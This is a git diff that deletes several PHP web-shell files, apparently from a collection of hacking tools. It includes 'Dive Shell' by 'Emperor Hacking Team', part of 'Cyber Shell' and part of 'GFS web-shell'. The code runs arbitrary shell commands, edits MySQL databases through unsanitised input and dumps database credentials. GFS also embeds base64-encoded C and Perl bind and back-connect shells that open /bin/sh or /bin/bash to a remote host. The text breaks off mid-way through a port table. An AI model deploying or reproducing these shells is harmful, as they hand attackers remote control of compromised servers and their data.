"; -echo ""; -echo " - - - - - -"; -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ -echo "hello"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("delete from $mtable where $pixidname='$pixid'"); -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); -$res=mysql_fetch_array($re); -$text=untag($res[$var]); - -echo " -
- - - - - - - - - -
-
-��������� � ������ -"; -} - -if (isset($showdb) && empty($showtables)){ -$re=mysql_query("show databases"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
������ ��������� ��:
$res[0]
"; -} -if (isset($showtables) and !empty($showtables)){ - -if (isset($xlimit)){ -$_SESSION[limit]=$xlimit; -if (isset($xlenth)) -$_SESSION[lenth]=$xlenth; -else $_SESSION[lenth]=""; -} - -echo "����� � ������ ��"; -$re=mysql_query("SHOW TABLES FROM $showtables"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
$showtables - ������ ������:
$res[0]
"; - -if (($_SESSION[lenth]) == "on") -$ch="checked"; -else -$ch=""; - -echo <<< EOF -
- - - - -����������� �� ���������� ��������� �����:
- -
�������� ����������� �� ����� ��������� �����
- -EOF; -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -echo "
������� �����������: $_SESSION[limit]"; -} - -if (isset($tools) or isset($tmysql)) -echo " -
- - - - - - - -
-.: MySQL :. -
- - - - - - - - - - - - - - - - - - - - - -
-Host - - -
-Login MySQL - - -
-Password MySQL - - - -
-��� �� (�� �����������) - - -
- - - -
- -
-
-"; -} -echo <<< EOF -
.:Cyber Shell (v 1.0):.
Copyright � Cyber Lords Community, 2002-2006
- - - -EOF; - -$d=tourl($d); -echo " -
- -.: ������� ����� :. -.: ������� ���� :. -.: ������� ���� ��� ����������� :.
-.: Bash :. -.: �������� ���� :. -
-
-"; -} -die; -?> diff --git a/Dive Shell 1.0 - Emperor Hacking Team.php b/Dive Shell 1.0 - Emperor Hacking Team.php deleted file mode 100644 index 9c6d47e..0000000 --- a/Dive Shell 1.0 - Emperor Hacking Team.php +++ /dev/null @@ -1,187 +0,0 @@ - array('pipe', 'w'), - 2 => array('pipe', 'w')), - $io); - - - while (!feof($io[1])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), - ENT_COMPAT, 'UTF-8'); - } - - while (!feof($io[2])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), - ENT_COMPAT, 'UTF-8'); - } - - fclose($io[1]); - fclose($io[2]); - proc_close($p); - } - } - - - if (empty($_SESSION['history'])) { - $js_command_hist = '""'; - } else { - $escaped = array_map('addslashes', $_SESSION['history']); - $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; - } - - -header('Content-Type: text/html; charset=UTF-8'); - -echo '' . "\n"; -?> - - - Dive Shell - Emperor Hacking Team - - - - - - - - - - - - - - - - - - - - - - -

 Directory: - -

- -
-
-

- Command: -   - -  

-

- Rows: -

-

- Edited By Emperor Hacking Team

-

- iM4n - FarHad - imm02tal - R$P

-
-
- - -

-   -

- - - - \ No newline at end of file diff --git a/GFS web-shell ver 3.1.7 - PRiV8.php b/GFS web-shell ver 3.1.7 - PRiV8.php deleted file mode 100644 index 603741e..0000000 --- a/GFS web-shell ver 3.1.7 - PRiV8.php +++ /dev/null @@ -1,618 +0,0 @@ -Error dump!
table=".$_POST['tablename']."
db=".$_POST['dbname']."
host=".$_POST['host']."
user=".$_POST['username']."
pass=".$_POST['pass']); -} -set_magic_quotes_runtime(0); -set_time_limit(0); -ini_set('max_execution_time',0); -ini_set('output_buffering',0); -if(version_compare(phpversion(), '4.1.0')==-1){ - $_POST=&$HTTP_POST_VARS; - $_GET=&$HTTP_GET_VARS; - $_SERVER=&$HTTP_SERVER_VARS; -} -if (get_magic_quotes_gpc()){ - foreach ($_POST as $k=>$v){ - $_POST[$k]=stripslashes($v); - } - foreach ($_SERVER as $k=>$v){ - $_SERVER[$k]=stripslashes($v); - } -} -if ($_POST['username']==""){ - $_POST['username']="root"; -} -//////////////////////////////////////////////////////////////////////////////// -///////////////////////////// ���������� /////////////////////////////////////// -//////////////////////////////////////////////////////////////////////////////// -$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; -$r_act=$_POST['r_act']; -$safe_mode=ini_get('safe_mode'); //������ ����������� ������ -$mysql_stat=function_exists('mysql_connect'); //������� mysql -$curl_on=function_exists('curl_version'); //������� cURL -$dis_func=ini_get('disable_functions'); //�������������� ������� -$HTML=<< - -GFS web-shell ver 3.1.7 - - -html; -$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS -A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I -GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt -b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 -pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF -NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK -ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog -ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk -7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 -9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld -2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu -dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp -lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; -$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS -VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs -JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV -TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG -lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK -Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i -Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N -lIENPTk47DQpleGl0IDA7DQp9DQp9"; -$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj -aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR -hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT -sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI -kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi -KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl -OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; -$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC -BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb -SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd -KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ -sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC -Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D -QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp -Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; -$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9 -MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4 -gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG -ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc -mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1 -LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI="; -$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk -X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR -TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE -FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ -W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h -Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ -lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy -BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V -VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk -bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5 -lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi -BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS -VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN -CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk -7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG -ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd -XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+ -c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw -iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC -R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y -29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y -ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR -QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG -Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D -QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug -PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N -0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi -A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9"; -$port[1] = "tcpmux (TCP Port Service Multiplexer)"; -$port[2] = "Management Utility"; -$port[3] = "Compression Process"; -$port[5] = "rje (Remote Job Entry)"; -$port[7] = "echo"; -$port[9] = "discard"; -$port[11] = "systat"; -$port[13] = "daytime"; -$port[15] = "netstat"; -$port[17] = "quote of the day"; -$port[18] = "send/rwp"; -$port[19] = "character generator"; -$port[20] = "ftp-data"; -$port[21] = "ftp"; -$port[22] = "ssh, pcAnywhere"; -$port[23] = "Telnet"; -$port[25] = "SMTP (Simple Mail Transfer)"; -$port[27] = "ETRN (NSW User System FE)"; -$port[29] = "MSG ICP"; -$port[31] = "MSG Authentication"; -$port[33] = "dsp (Display Support Protocol)"; -$port[37] = "time"; -$port[38] = "RAP (Route Access Protocol)"; -$port[39] = "rlp (Resource Location Protocol)"; -$port[41] = "Graphics"; -$port[42] = "nameserv, WINS"; -$port[43] = "whois, nickname"; -$port[44] = "MPM FLAGS Protocol"; -$port[45] = "Message Processing Module [recv]"; -$port[46] = "MPM [default send]"; -$port[47] = "NI FTP"; -$port[48] = "Digital Audit Daemon"; -$port[49] = "TACACS, Login Host Protocol"; -$port[50] = "RMCP, re-mail-ck"; -$port[53] = "DNS"; -$port[57] = "MTP (any private terminal access)"; -$port[59] = "NFILE"; -$port[60] = "Unassigned"; -$port[61] = "NI MAIL"; -$port[62] = "ACA Services"; -$port[63] = "whois++"; -$port[64] = "Communications Integrator (CI)"; -$port[65] = "TACACS-Database Service"; -$port[66] = "Oracle SQL*NET"; -$port[67] = "bootps (Bootstrap Protocol Server)"; -$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; -$port[69] = "Trivial File Transfer Protocol (tftp)"; -$port[70] = "Gopher"; -$port[71] = "Remote Job Service"; -$port[72] = "Remote Job Service"; -$port[73] = "Remote Job Service"; -$port[74] = "Remote Job Service"; -$port[75] = "any private dial out service"; -$port[76] = "Distributed External Object Store"; -$port[77] = "any private RJE service"; -$port[78] = "vettcp"; -$port[79] = "finger"; -$port[80] = "World Wide Web HTTP"; -$port[81] = "HOSTS2 Name Serve"; -$port[82] = "XFER Utility"; -$port[83] = "MIT ML Device"; -$port[84] = "Common Trace Facility"; -$port[85] = "MIT ML Device"; -$port[86] = "Micro Focus Cobol"; -$port[87] = "any private terminal link"; -$port[88] = "Kerberos, WWW"; -$port[89] = "SU/MIT Telnet Gateway"; -$port[90] = "DNSIX Securit Attribute Token Map"; -$port[91] = "MIT Dover Spooler"; -$port[92] = "Network Printing Protocol"; -$port[93] = "Device Control Protocol"; -$port[94] = "Tivoli Object Dispatcher"; -$port[95] = "supdup"; -$port[96] = "DIXIE"; -$port[98] = "linuxconf"; -$port[99] = "Metagram Relay"; -$port[100] = "[unauthorized use]"; -$port[101] = "HOSTNAME"; -$port[102] = "ISO, X.400, ITOT"; -$port[103] = "Genesis Point-to-Point"; -$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; -$port[105] = "CCSO name server protocol"; -$port[106] = "poppassd"; -$port[107] = "Remote Telnet Service"; -$port[108] = "SNA Gateway Access Server"; -$port[109] = "POP2"; -$port[110] = "POP3"; -$port[111] = "Sun RPC Portmapper"; -$port[112] = "McIDAS Data Transmission Protocol"; -$port[113] = "Authentication Service"; -$port[115] = "sftp (Simple File Transfer Protocol)"; -$port[116] = "ANSA REX Notify"; -$port[117] = "UUCP Path Service"; -$port[118] = "SQL Services"; -$port[119] = "NNTP"; -$port[120] = "CFDP"; -$port[123] = "NTP"; -$port[124] = "SecureID"; -$port[129] = "PWDGEN"; -$port[133] = "statsrv"; -$port[135] = "loc-srv/epmap"; -$port[137] = "netbios-ns"; -$port[138] = "netbios-dgm (UDP)"; -$port[139] = "NetBIOS"; -$port[143] = "IMAP"; -$port[144] = "NewS"; -$port[150] = "SQL-NET"; -$port[152] = "BFTP"; -$port[153] = "SGMP"; -$port[156] = "SQL Service"; -$port[161] = "SNMP"; -$port[175] = "vmnet"; -$port[177] = "XDMCP"; -$port[178] = "NextStep Window Server"; -$port[179] = "BGP"; -$port[180] = "SLmail admin"; -$port[199] = "smux"; -$port[210] = "Z39.50"; -$port[213] = "IPX"; -$port[218] = "MPP"; -$port[220] = "IMAP3"; -$port[256] = "RAP"; -$port[257] = "Secure Electronic Transaction"; -$port[258] = "Yak Winsock Personal Chat"; -$port[259] = "ESRO"; -$port[264] = "FW1_topo"; -$port[311] = "Apple WebAdmin"; -$port[350] = "MATIP type A"; -$port[351] = "MATIP type B"; -$port[363] = "RSVP tunnel"; -$port[366] = "ODMR (On-Demand Mail Relay)"; -$port[371] = "Clearcase"; -$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; -$port[389] = "LDAP"; -$port[407] = "Timbuktu"; -$port[427] = "Server Location"; -$port[434] = "Mobile IP"; -$port[443] = "ssl"; -$port[444] = "snpp, Simple Network Paging Protocol"; -$port[445] = "SMB"; -$port[458] = "QuickTime TV/Conferencing"; -$port[468] = "Photuris"; -$port[475] = "tcpnethaspsrv"; -$port[500] = "ISAKMP, pluto"; -$port[511] = "mynet-as"; -$port[512] = "biff, rexec"; -$port[513] = "who, rlogin"; -$port[514] = "syslog, rsh"; -$port[515] = "lp, lpr, line printer"; -$port[517] = "talk"; -$port[520] = "RIP (Routing Information Protocol)"; -$port[521] = "RIPng"; -$port[522] = "ULS"; -$port[531] = "IRC"; -$port[543] = "KLogin, AppleShare over IP"; -$port[545] = "QuickTime"; -$port[548] = "AFP"; -$port[554] = "Real Time Streaming Protocol"; -$port[555] = "phAse Zero"; -$port[563] = "NNTP over SSL"; -$port[575] = "VEMMI"; -$port[581] = "Bundle Discovery Protocol"; -$port[593] = "MS-RPC"; -$port[608] = "SIFT/UFT"; -$port[626] = "Apple ASIA"; -$port[631] = "IPP (Internet Printing Protocol)"; -$port[635] = "RLZ DBase"; -$port[636] = "sldap"; -$port[642] = "EMSD"; -$port[648] = "RRP (NSI Registry Registrar Protocol)"; -$port[655] = "tinc"; -$port[660] = "Apple MacOS Server Admin"; -$port[666] = "Doom"; -$port[674] = "ACAP"; -$port[687] = "AppleShare IP Registry"; -$port[700] = "buddyphone"; -$port[705] = "AgentX for SNMP"; -$port[901] = "swat, realsecure"; -$port[993] = "s-imap"; -$port[995] = "s-pop"; -$port[1024] = "Reserved"; -$port[1025] = "network blackjack"; -$port[1062] = "Veracity"; -$port[1080] = "SOCKS"; -$port[1085] = "WebObjects"; -$port[1227] = "DNS2Go"; -$port[1243] = "SubSeven"; -$port[1338] = "Millennium Worm"; -$port[1352] = "Lotus Notes"; -$port[1381] = "Apple Network License Manager"; -$port[1417] = "Timbuktu Service 1 Port"; -$port[1418] = "Timbuktu Service 2 Port"; -$port[1419] = "Timbuktu Service 3 Port"; -$port[1420] = "Timbuktu Service 4 Port"; -$port[1433] = "Microsoft SQL Server"; -$port[1434] = "Microsoft SQL Monitor"; -$port[1477] = "ms-sna-server"; -$port[1478] = "ms-sna-base"; -$port[1490] = "insitu-conf"; -$port[1494] = "Citrix ICA Protocol"; -$port[1498] = "Watcom-SQL"; -$port[1500] = "VLSI License Manager"; -$port[1503] = "T.120"; -$port[1521] = "Oracle SQL"; -$port[1522] = "Ricardo North America License Manager"; -$port[1524] = "ingres"; -$port[1525] = "prospero"; -$port[1526] = "prospero"; -$port[1527] = "tlisrv"; -$port[1529] = "oracle"; -$port[1547] = "laplink"; -$port[1604] = "Citrix ICA, MS Terminal Server"; -$port[1645] = "RADIUS Authentication"; -$port[1646] = "RADIUS Accounting"; -$port[1680] = "Carbon Copy"; -$port[1701] = "L2TP/LSF"; -$port[1717] = "Convoy"; -$port[1720] = "H.323/Q.931"; -$port[1723] = "PPTP control port"; -$port[1731] = "MSICCP"; -$port[1755] = "Windows Media .asf"; -$port[1758] = "TFTP multicast"; -$port[1761] = "cft-0"; -$port[1762] = "cft-1"; -$port[1763] = "cft-2"; -$port[1764] = "cft-3"; -$port[1765] = "cft-4"; -$port[1766] = "cft-5"; -$port[1767] = "cft-6"; -$port[1808] = "Oracle-VP2"; -$port[1812] = "RADIUS server"; -$port[1813] = "RADIUS accounting"; -$port[1818] = "ETFTP"; -$port[1973] = "DLSw DCAP/DRAP"; -$port[1985] = "HSRP"; -$port[1999] = "Cisco AUTH"; -$port[2001] = "glimpse"; -$port[2049] = "NFS"; -$port[2064] = "distributed.net"; -$port[2065] = "DLSw"; -$port[2066] = "DLSw"; -$port[2106] = "MZAP"; -$port[2140] = "DeepThroat"; -$port[2301] = "Compaq Insight Management Web Agents"; -$port[2327] = "Netscape Conference"; -$port[2336] = "Apple UG Control"; -$port[2427] = "MGCP gateway"; -$port[2504] = "WLBS"; -$port[2535] = "MADCAP"; -$port[2543] = "sip"; -$port[2592] = "netrek"; -$port[2727] = "MGCP call agent"; -$port[2628] = "DICT"; -$port[2998] = "ISS Real Secure Console Service Port"; -$port[3000] = "Firstclass"; -$port[3001] = "Redwood Broker"; -$port[3031] = "Apple AgentVU"; -$port[3128] = "squid"; -$port[3130] = "ICP"; -$port[3150] = "DeepThroat"; -$port[3264] = "ccmail"; -$port[3283] = "Apple NetAssitant"; -$port[3288] = "COPS"; -$port[3305] = "ODETTE"; -$port[3306] = "mySQL"; -$port[3389] = "RDP Protocol (Terminal Server)"; -$port[3521] = "netrek"; -$port[4000] = "icq, command-n-conquer and shell nfm"; -$port[4321] = "rwhois"; -$port[4333] = "mSQL"; -$port[4444] = "KRB524"; -$port[4827] = "HTCP"; -$port[5002] = "radio free ethernet"; -$port[5004] = "RTP"; -$port[5005] = "RTP"; -$port[5010] = "Yahoo! Messenger"; -$port[5050] = "multimedia conference control tool"; -$port[5060] = "SIP"; -$port[5150] = "Ascend Tunnel Management Protocol"; -$port[5190] = "AIM"; -$port[5500] = "securid"; -$port[5501] = "securidprop"; -$port[5423] = 